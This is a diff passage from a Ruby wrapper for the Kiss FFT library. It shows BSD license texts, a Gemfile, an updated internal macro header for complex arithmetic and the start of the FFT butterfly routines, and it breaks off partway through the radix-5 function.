THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
|
||||
Ruby wrapper layer
|
||||
==================
|
||||
|
||||
Copyright (C) 2009 H D Moore
|
||||
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
|
||||
* Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
|
||||
* Neither the author nor the names of any contributors may be used to endorse or promote products derived from this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
|
@ -0,0 +1,2 @@
|
|||
source "http://rubygems.org"
|
||||
gemspec
|
|
@ -0,0 +1,30 @@
|
|||
Kiss FFT library
|
||||
==================
|
||||
|
||||
|
||||
Copyright (c) 2003-2010 Mark Borgerding
|
||||
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
|
||||
* Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
|
||||
* Neither the author nor the names of any contributors may be used to endorse or promote products derived from this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
Ruby wrapper layer
|
||||
==================
|
||||
|
||||
Copyright (C) 2009-2012 H D Moore < hdm[at]rapid7.com >
|
||||
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
|
||||
* Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
|
||||
* Neither the author nor the names of any contributors may be used to endorse or promote products derived from this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
|
@ -1,150 +0,0 @@
|
|||
/*
|
||||
Copyright (c) 2003-2004, Mark Borgerding
|
||||
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
|
||||
* Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
|
||||
* Neither the author nor the names of any contributors may be used to endorse or promote products derived from this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
/* kiss_fft.h
|
||||
defines kiss_fft_scalar as either short or a float type
|
||||
and defines
|
||||
typedef struct { kiss_fft_scalar r; kiss_fft_scalar i; }kiss_fft_cpx; */
|
||||
#include "kiss_fft.h"
|
||||
#include <limits.h>
|
||||
|
||||
#define MAXFACTORS 32
|
||||
/* e.g. an fft of length 128 has 4 factors
|
||||
as far as kissfft is concerned
|
||||
4*4*4*2
|
||||
*/
|
||||
|
||||
struct kiss_fft_state{
|
||||
int nfft;
|
||||
int inverse;
|
||||
int factors[2*MAXFACTORS];
|
||||
kiss_fft_cpx twiddles[1];
|
||||
};
|
||||
|
||||
/*
|
||||
Explanation of macros dealing with complex math:
|
||||
|
||||
C_MUL(m,a,b) : m = a*b
|
||||
C_FIXDIV( c , div ) : if a fixed point impl., c /= div. noop otherwise
|
||||
C_SUB( res, a,b) : res = a - b
|
||||
C_SUBFROM( res , a) : res -= a
|
||||
C_ADDTO( res , a) : res += a
|
||||
* */
|
||||
#ifdef FIXED_POINT
|
||||
#if (FIXED_POINT==32)
|
||||
# define FRACBITS 31
|
||||
# define SAMPPROD int64_t
|
||||
#define SAMP_MAX 2147483647
|
||||
#else
|
||||
# define FRACBITS 15
|
||||
# define SAMPPROD int32_t
|
||||
#define SAMP_MAX 32767
|
||||
#endif
|
||||
|
||||
#define SAMP_MIN -SAMP_MAX
|
||||
|
||||
#if defined(CHECK_OVERFLOW)
|
||||
# define CHECK_OVERFLOW_OP(a,op,b) \
|
||||
if ( (SAMPPROD)(a) op (SAMPPROD)(b) > SAMP_MAX || (SAMPPROD)(a) op (SAMPPROD)(b) < SAMP_MIN ) { \
|
||||
fprintf(stderr,"WARNING:overflow @ " __FILE__ "(%d): (%d " #op" %d) = %ld\n",__LINE__,(a),(b),(SAMPPROD)(a) op (SAMPPROD)(b) ); }
|
||||
#endif
|
||||
|
||||
|
||||
# define smul(a,b) ( (SAMPPROD)(a)*(b) )
|
||||
# define sround( x ) (kiss_fft_scalar)( ( (x) + (1<<(FRACBITS-1)) ) >> FRACBITS )
|
||||
|
||||
# define S_MUL(a,b) sround( smul(a,b) )
|
||||
|
||||
# define C_MUL(m,a,b) \
|
||||
do{ (m).r = sround( smul((a).r,(b).r) - smul((a).i,(b).i) ); \
|
||||
(m).i = sround( smul((a).r,(b).i) + smul((a).i,(b).r) ); }while(0)
|
||||
|
||||
# define DIVSCALAR(x,k) \
|
||||
(x) = sround( smul( x, SAMP_MAX/k ) )
|
||||
|
||||
# define C_FIXDIV(c,div) \
|
||||
do { DIVSCALAR( (c).r , div); \
|
||||
DIVSCALAR( (c).i , div); }while (0)
|
||||
|
||||
# define C_MULBYSCALAR( c, s ) \
|
||||
do{ (c).r = sround( smul( (c).r , s ) ) ;\
|
||||
(c).i = sround( smul( (c).i , s ) ) ; }while(0)
|
||||
|
||||
#else /* not FIXED_POINT*/
|
||||
|
||||
# define S_MUL(a,b) ( (a)*(b) )
|
||||
#define C_MUL(m,a,b) \
|
||||
do{ (m).r = (a).r*(b).r - (a).i*(b).i;\
|
||||
(m).i = (a).r*(b).i + (a).i*(b).r; }while(0)
|
||||
# define C_FIXDIV(c,div) /* NOOP */
|
||||
# define C_MULBYSCALAR( c, s ) \
|
||||
do{ (c).r *= (s);\
|
||||
(c).i *= (s); }while(0)
|
||||
#endif
|
||||
|
||||
#ifndef CHECK_OVERFLOW_OP
|
||||
# define CHECK_OVERFLOW_OP(a,op,b) /* noop */
|
||||
#endif
|
||||
|
||||
#define C_ADD( res, a,b)\
|
||||
do { \
|
||||
CHECK_OVERFLOW_OP((a).r,+,(b).r)\
|
||||
CHECK_OVERFLOW_OP((a).i,+,(b).i)\
|
||||
(res).r=(a).r+(b).r; (res).i=(a).i+(b).i; \
|
||||
}while(0)
|
||||
#define C_SUB( res, a,b)\
|
||||
do { \
|
||||
CHECK_OVERFLOW_OP((a).r,-,(b).r)\
|
||||
CHECK_OVERFLOW_OP((a).i,-,(b).i)\
|
||||
(res).r=(a).r-(b).r; (res).i=(a).i-(b).i; \
|
||||
}while(0)
|
||||
#define C_ADDTO( res , a)\
|
||||
do { \
|
||||
CHECK_OVERFLOW_OP((res).r,+,(a).r)\
|
||||
CHECK_OVERFLOW_OP((res).i,+,(a).i)\
|
||||
(res).r += (a).r; (res).i += (a).i;\
|
||||
}while(0)
|
||||
|
||||
#define C_SUBFROM( res , a)\
|
||||
do {\
|
||||
CHECK_OVERFLOW_OP((res).r,-,(a).r)\
|
||||
CHECK_OVERFLOW_OP((res).i,-,(a).i)\
|
||||
(res).r -= (a).r; (res).i -= (a).i; \
|
||||
}while(0)
|
||||
|
||||
|
||||
#ifdef FIXED_POINT
|
||||
# define KISS_FFT_COS(phase) floor(.5+SAMP_MAX * cos (phase))
|
||||
# define KISS_FFT_SIN(phase) floor(.5+SAMP_MAX * sin (phase))
|
||||
# define HALF_OF(x) ((x)>>1)
|
||||
#elif defined(USE_SIMD)
|
||||
# define KISS_FFT_COS(phase) _mm_set1_ps( cos(phase) )
|
||||
# define KISS_FFT_SIN(phase) _mm_set1_ps( sin(phase) )
|
||||
# define HALF_OF(x) ((x)*_mm_set1_ps(.5))
|
||||
#else
|
||||
# define KISS_FFT_COS(phase) (kiss_fft_scalar) cos(phase)
|
||||
# define KISS_FFT_SIN(phase) (kiss_fft_scalar) sin(phase)
|
||||
# define HALF_OF(x) ((x)*.5)
|
||||
#endif
|
||||
|
||||
#define kf_cexp(x,phase) \
|
||||
do{ \
|
||||
(x)->r = KISS_FFT_COS(phase);\
|
||||
(x)->i = KISS_FFT_SIN(phase);\
|
||||
}while(0)
|
||||
|
||||
|
||||
/* a debugging function */
|
||||
#define pcpx(c)\
|
||||
fprintf(stderr,"%g + %gi\n",(double)((c)->r),(double)((c)->i) )
|
|
@ -0,0 +1,164 @@
|
|||
/*
|
||||
Copyright (c) 2003-2010, Mark Borgerding
|
||||
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
|
||||
* Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
|
||||
* Neither the author nor the names of any contributors may be used to endorse or promote products derived from this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
/* kiss_fft.h
|
||||
defines kiss_fft_scalar as either short or a float type
|
||||
and defines
|
||||
typedef struct { kiss_fft_scalar r; kiss_fft_scalar i; }kiss_fft_cpx; */
|
||||
#include "kiss_fft.h"
|
||||
#include <limits.h>
|
||||
|
||||
#define MAXFACTORS 32
|
||||
/* e.g. an fft of length 128 has 4 factors
|
||||
as far as kissfft is concerned
|
||||
4*4*4*2
|
||||
*/
|
||||
|
||||
struct kiss_fft_state{
|
||||
int nfft;
|
||||
int inverse;
|
||||
int factors[2*MAXFACTORS];
|
||||
kiss_fft_cpx twiddles[1];
|
||||
};
|
||||
|
||||
/*
|
||||
Explanation of macros dealing with complex math:
|
||||
|
||||
C_MUL(m,a,b) : m = a*b
|
||||
C_FIXDIV( c , div ) : if a fixed point impl., c /= div. noop otherwise
|
||||
C_SUB( res, a,b) : res = a - b
|
||||
C_SUBFROM( res , a) : res -= a
|
||||
C_ADDTO( res , a) : res += a
|
||||
* */
|
||||
#ifdef FIXED_POINT
|
||||
#if (FIXED_POINT==32)
|
||||
# define FRACBITS 31
|
||||
# define SAMPPROD int64_t
|
||||
#define SAMP_MAX 2147483647
|
||||
#else
|
||||
# define FRACBITS 15
|
||||
# define SAMPPROD int32_t
|
||||
#define SAMP_MAX 32767
|
||||
#endif
|
||||
|
||||
#define SAMP_MIN -SAMP_MAX
|
||||
|
||||
#if defined(CHECK_OVERFLOW)
|
||||
# define CHECK_OVERFLOW_OP(a,op,b) \
|
||||
if ( (SAMPPROD)(a) op (SAMPPROD)(b) > SAMP_MAX || (SAMPPROD)(a) op (SAMPPROD)(b) < SAMP_MIN ) { \
|
||||
fprintf(stderr,"WARNING:overflow @ " __FILE__ "(%d): (%d " #op" %d) = %ld\n",__LINE__,(a),(b),(SAMPPROD)(a) op (SAMPPROD)(b) ); }
|
||||
#endif
|
||||
|
||||
|
||||
# define smul(a,b) ( (SAMPPROD)(a)*(b) )
|
||||
# define sround( x ) (kiss_fft_scalar)( ( (x) + (1<<(FRACBITS-1)) ) >> FRACBITS )
|
||||
|
||||
# define S_MUL(a,b) sround( smul(a,b) )
|
||||
|
||||
# define C_MUL(m,a,b) \
|
||||
do{ (m).r = sround( smul((a).r,(b).r) - smul((a).i,(b).i) ); \
|
||||
(m).i = sround( smul((a).r,(b).i) + smul((a).i,(b).r) ); }while(0)
|
||||
|
||||
# define DIVSCALAR(x,k) \
|
||||
(x) = sround( smul( x, SAMP_MAX/k ) )
|
||||
|
||||
# define C_FIXDIV(c,div) \
|
||||
do { DIVSCALAR( (c).r , div); \
|
||||
DIVSCALAR( (c).i , div); }while (0)
|
||||
|
||||
# define C_MULBYSCALAR( c, s ) \
|
||||
do{ (c).r = sround( smul( (c).r , s ) ) ;\
|
||||
(c).i = sround( smul( (c).i , s ) ) ; }while(0)
|
||||
|
||||
#else /* not FIXED_POINT*/
|
||||
|
||||
# define S_MUL(a,b) ( (a)*(b) )
|
||||
#define C_MUL(m,a,b) \
|
||||
do{ (m).r = (a).r*(b).r - (a).i*(b).i;\
|
||||
(m).i = (a).r*(b).i + (a).i*(b).r; }while(0)
|
||||
# define C_FIXDIV(c,div) /* NOOP */
|
||||
# define C_MULBYSCALAR( c, s ) \
|
||||
do{ (c).r *= (s);\
|
||||
(c).i *= (s); }while(0)
|
||||
#endif
|
||||
|
||||
#ifndef CHECK_OVERFLOW_OP
|
||||
# define CHECK_OVERFLOW_OP(a,op,b) /* noop */
|
||||
#endif
|
||||
|
||||
#define C_ADD( res, a,b)\
|
||||
do { \
|
||||
CHECK_OVERFLOW_OP((a).r,+,(b).r)\
|
||||
CHECK_OVERFLOW_OP((a).i,+,(b).i)\
|
||||
(res).r=(a).r+(b).r; (res).i=(a).i+(b).i; \
|
||||
}while(0)
|
||||
#define C_SUB( res, a,b)\
|
||||
do { \
|
||||
CHECK_OVERFLOW_OP((a).r,-,(b).r)\
|
||||
CHECK_OVERFLOW_OP((a).i,-,(b).i)\
|
||||
(res).r=(a).r-(b).r; (res).i=(a).i-(b).i; \
|
||||
}while(0)
|
||||
#define C_ADDTO( res , a)\
|
||||
do { \
|
||||
CHECK_OVERFLOW_OP((res).r,+,(a).r)\
|
||||
CHECK_OVERFLOW_OP((res).i,+,(a).i)\
|
||||
(res).r += (a).r; (res).i += (a).i;\
|
||||
}while(0)
|
||||
|
||||
#define C_SUBFROM( res , a)\
|
||||
do {\
|
||||
CHECK_OVERFLOW_OP((res).r,-,(a).r)\
|
||||
CHECK_OVERFLOW_OP((res).i,-,(a).i)\
|
||||
(res).r -= (a).r; (res).i -= (a).i; \
|
||||
}while(0)
|
||||
|
||||
|
||||
#ifdef FIXED_POINT
|
||||
# define KISS_FFT_COS(phase) floor(.5+SAMP_MAX * cos (phase))
|
||||
# define KISS_FFT_SIN(phase) floor(.5+SAMP_MAX * sin (phase))
|
||||
# define HALF_OF(x) ((x)>>1)
|
||||
#elif defined(USE_SIMD)
|
||||
# define KISS_FFT_COS(phase) _mm_set1_ps( cos(phase) )
|
||||
# define KISS_FFT_SIN(phase) _mm_set1_ps( sin(phase) )
|
||||
# define HALF_OF(x) ((x)*_mm_set1_ps(.5))
|
||||
#else
|
||||
# define KISS_FFT_COS(phase) (kiss_fft_scalar) cos(phase)
|
||||
# define KISS_FFT_SIN(phase) (kiss_fft_scalar) sin(phase)
|
||||
# define HALF_OF(x) ((x)*.5)
|
||||
#endif
|
||||
|
||||
#define kf_cexp(x,phase) \
|
||||
do{ \
|
||||
(x)->r = KISS_FFT_COS(phase);\
|
||||
(x)->i = KISS_FFT_SIN(phase);\
|
||||
}while(0)
|
||||
|
||||
|
||||
/* a debugging function */
|
||||
#define pcpx(c)\
|
||||
fprintf(stderr,"%g + %gi\n",(double)((c)->r),(double)((c)->i) )
|
||||
|
||||
|
||||
#ifdef KISS_FFT_USE_ALLOCA
|
||||
// define this to allow use of alloca instead of malloc for temporary buffers
|
||||
// Temporary buffers are used in two case:
|
||||
// 1. FFT sizes that have "bad" factors. i.e. not 2,3 and 5
|
||||
// 2. "in-place" FFTs. Notice the quotes, since kissfft does not really do an in-place transform.
|
||||
#include <alloca.h>
|
||||
#define KISS_FFT_TMP_ALLOC(nbytes) alloca(nbytes)
|
||||
#define KISS_FFT_TMP_FREE(ptr)
|
||||
#else
|
||||
#define KISS_FFT_TMP_ALLOC(nbytes) KISS_FFT_MALLOC(nbytes)
|
||||
#define KISS_FFT_TMP_FREE(ptr) KISS_FFT_FREE(ptr)
|
||||
#endif
|
|
@ -0,0 +1,408 @@
|
|||
/*
|
||||
Copyright (c) 2003-2010, Mark Borgerding
|
||||
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
|
||||
* Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
|
||||
* Neither the author nor the names of any contributors may be used to endorse or promote products derived from this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
|
||||
#include "_kiss_fft_guts.h"
|
||||
/* The guts header contains all the multiplication and addition macros that are defined for
|
||||
fixed or floating point complex numbers. It also delares the kf_ internal functions.
|
||||
*/
|
||||
|
||||
static void kf_bfly2(
|
||||
kiss_fft_cpx * Fout,
|
||||
const size_t fstride,
|
||||
const kiss_fft_cfg st,
|
||||
int m
|
||||
)
|
||||
{
|
||||
kiss_fft_cpx * Fout2;
|
||||
kiss_fft_cpx * tw1 = st->twiddles;
|
||||
kiss_fft_cpx t;
|
||||
Fout2 = Fout + m;
|
||||
do{
|
||||
C_FIXDIV(*Fout,2); C_FIXDIV(*Fout2,2);
|
||||
|
||||
C_MUL (t, *Fout2 , *tw1);
|
||||
tw1 += fstride;
|
||||
C_SUB( *Fout2 , *Fout , t );
|
||||
C_ADDTO( *Fout , t );
|
||||
++Fout2;
|
||||
++Fout;
|
||||
}while (--m);
|
||||
}
|
||||
|
||||
static void kf_bfly4(
|
||||
kiss_fft_cpx * Fout,
|
||||
const size_t fstride,
|
||||
const kiss_fft_cfg st,
|
||||
const size_t m
|
||||
)
|
||||
{
|
||||
kiss_fft_cpx *tw1,*tw2,*tw3;
|
||||
kiss_fft_cpx scratch[6];
|
||||
size_t k=m;
|
||||
const size_t m2=2*m;
|
||||
const size_t m3=3*m;
|
||||
|
||||
|
||||
tw3 = tw2 = tw1 = st->twiddles;
|
||||
|
||||
do {
|
||||
C_FIXDIV(*Fout,4); C_FIXDIV(Fout[m],4); C_FIXDIV(Fout[m2],4); C_FIXDIV(Fout[m3],4);
|
||||
|
||||
C_MUL(scratch[0],Fout[m] , *tw1 );
|
||||
C_MUL(scratch[1],Fout[m2] , *tw2 );
|
||||
C_MUL(scratch[2],Fout[m3] , *tw3 );
|
||||
|
||||
C_SUB( scratch[5] , *Fout, scratch[1] );
|
||||
C_ADDTO(*Fout, scratch[1]);
|
||||
C_ADD( scratch[3] , scratch[0] , scratch[2] );
|
||||
C_SUB( scratch[4] , scratch[0] , scratch[2] );
|
||||
C_SUB( Fout[m2], *Fout, scratch[3] );
|
||||
tw1 += fstride;
|
||||
tw2 += fstride*2;
|
||||
tw3 += fstride*3;
|
||||
C_ADDTO( *Fout , scratch[3] );
|
||||
|
||||
if(st->inverse) {
|
||||
Fout[m].r = scratch[5].r - scratch[4].i;
|
||||
Fout[m].i = scratch[5].i + scratch[4].r;
|
||||
Fout[m3].r = scratch[5].r + scratch[4].i;
|
||||
Fout[m3].i = scratch[5].i - scratch[4].r;
|
||||
}else{
|
||||
Fout[m].r = scratch[5].r + scratch[4].i;
|
||||
Fout[m].i = scratch[5].i - scratch[4].r;
|
||||
Fout[m3].r = scratch[5].r - scratch[4].i;
|
||||
Fout[m3].i = scratch[5].i + scratch[4].r;
|
||||
}
|
||||
++Fout;
|
||||
}while(--k);
|
||||
}
|
||||
|
||||
static void kf_bfly3(
|
||||
kiss_fft_cpx * Fout,
|
||||
const size_t fstride,
|
||||
const kiss_fft_cfg st,
|
||||
size_t m
|
||||
)
|
||||
{
|
||||
size_t k=m;
|
||||
const size_t m2 = 2*m;
|
||||
kiss_fft_cpx *tw1,*tw2;
|
||||
kiss_fft_cpx scratch[5];
|
||||
kiss_fft_cpx epi3;
|
||||
epi3 = st->twiddles[fstride*m];
|
||||
|
||||
tw1=tw2=st->twiddles;
|
||||
|
||||
do{
|
||||
C_FIXDIV(*Fout,3); C_FIXDIV(Fout[m],3); C_FIXDIV(Fout[m2],3);
|
||||
|
||||
C_MUL(scratch[1],Fout[m] , *tw1);
|
||||
C_MUL(scratch[2],Fout[m2] , *tw2);
|
||||
|
||||
C_ADD(scratch[3],scratch[1],scratch[2]);
|
||||
C_SUB(scratch[0],scratch[1],scratch[2]);
|
||||
tw1 += fstride;
|
||||
tw2 += fstride*2;
|
||||
|
||||
Fout[m].r = Fout->r - HALF_OF(scratch[3].r);
|
||||
Fout[m].i = Fout->i - HALF_OF(scratch[3].i);
|
||||
|
||||
C_MULBYSCALAR( scratch[0] , epi3.i );
|
||||
|
||||
C_ADDTO(*Fout,scratch[3]);
|
||||
|
||||
Fout[m2].r = Fout[m].r + scratch[0].i;
|
||||
Fout[m2].i = Fout[m].i - scratch[0].r;
|
||||
|
||||
Fout[m].r -= scratch[0].i;
|
||||
Fout[m].i += scratch[0].r;
|
||||
|
||||
++Fout;
|
||||
}while(--k);
|
||||
}
|
||||
|
||||
static void kf_bfly5(
|
||||
kiss_fft_cpx * Fout,
|
||||
const size_t fstride,
|
||||
const kiss_fft_cfg st,
|
||||
int m
|
||||
)
|
||||
{
|
||||
kiss_fft_cpx *Fout0,*Fout1,*Fout2,*Fout3,*Fout4;
|
||||
int u;
|
||||
kiss_fft_cpx scratch[13];
|
||||
kiss_fft_cpx * twiddles = st->twiddles;
|
||||
kiss_fft_cpx *tw;
|
||||
kiss_fft_cpx ya,yb;
|
||||
ya = twiddles[fstride*m];
|
||||
yb = twiddles[fstride*2*m];
|
||||
|
||||
Fout0=Fout;
|
||||
Fout1=Fout0+m;
|
||||
Fout2=Fout0+2*m;
|
||||
Fout3=Fout0+3*m;
|
||||
Fout4=Fout0+4*m;
|
||||
|
||||
tw=st->twiddles;
|
||||
for ( u=0; u<m; ++u ) {
|
||||
C_FIXDIV( *Fout0,5); C_FIXDIV( *Fout1,5); C_FIXDIV( *Fout2,5); C_FIXDIV( *Fout3,5); C_FIXDIV( *Fout4,5);
|
||||
scratch[0] = *Fout0;
|
||||
|
||||
C_MUL(scratch[1] ,*Fout1, tw[u*fstride]);
|
||||
C_MUL(scratch[2] ,*Fout2, tw[2*u*fstride]);
|
||||
C_MUL(scratch[3] ,*Fout3, tw[3*u*fstride]);
|
||||
C_MUL(scratch[4] ,*Fout4, tw[4*u*fstride]);
|
||||
|
||||
C_ADD( scratch[7],scratch[1],scratch[4]);
|
||||
C_SUB( scratch[10],scratch[1],scratch[4]);
|
||||
C_ADD( scratch[8],scratch[2],scratch[3]);
|
||||
C_SUB( scratch[9],scratch[2],scratch[3]);
|
||||
|
||||
Fout0->r += scratch[7].r + scratch[8].r;
|
||||
Fout0->i += scratch[7].i + scratch[8].i;
|
||||
|
||||
scratch[5].r = scratch[0].r + S_MUL(scratch[7].r,ya.r) + S_MUL(scratch[8].r,yb.r);
|
||||
scratch[5].i = scratch[0].i + S_MUL(scratch[7].i,ya.r) + S_MUL(scratch[8].i,yb.r);
|
||||
|
||||
scratch[6].r = S_MUL(scratch[10].i,ya.i) + S_MUL(scratch[9].i,yb.i);
|
||||
